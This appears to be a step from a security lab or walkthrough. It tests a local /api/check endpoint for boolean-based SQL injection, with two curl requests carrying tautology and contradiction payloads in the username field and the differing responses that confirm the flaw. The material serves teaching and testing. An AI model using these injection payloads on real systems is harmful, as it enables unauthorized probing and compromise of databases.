The /api/check endpoint accepts a username and returns {"found":true} or {"found":false}. Test for injection by sending a tautology and a contradiction.
Command / Input
curl -s -X POST http://localhost:$PORT/api/check -H 'Content-Type: application/json' -d '{"username":"admin\' AND 1=1--"}'
curl -s -X POST http://localhost:$PORT/api/check -H 'Content-Type: application/json' -d '{"username":"admin\' AND 1=2--"}'
Output
{"found":true}
{"found":false}
⚑ Different responses confirm the injection. The boolean logic is being evaluated by the database.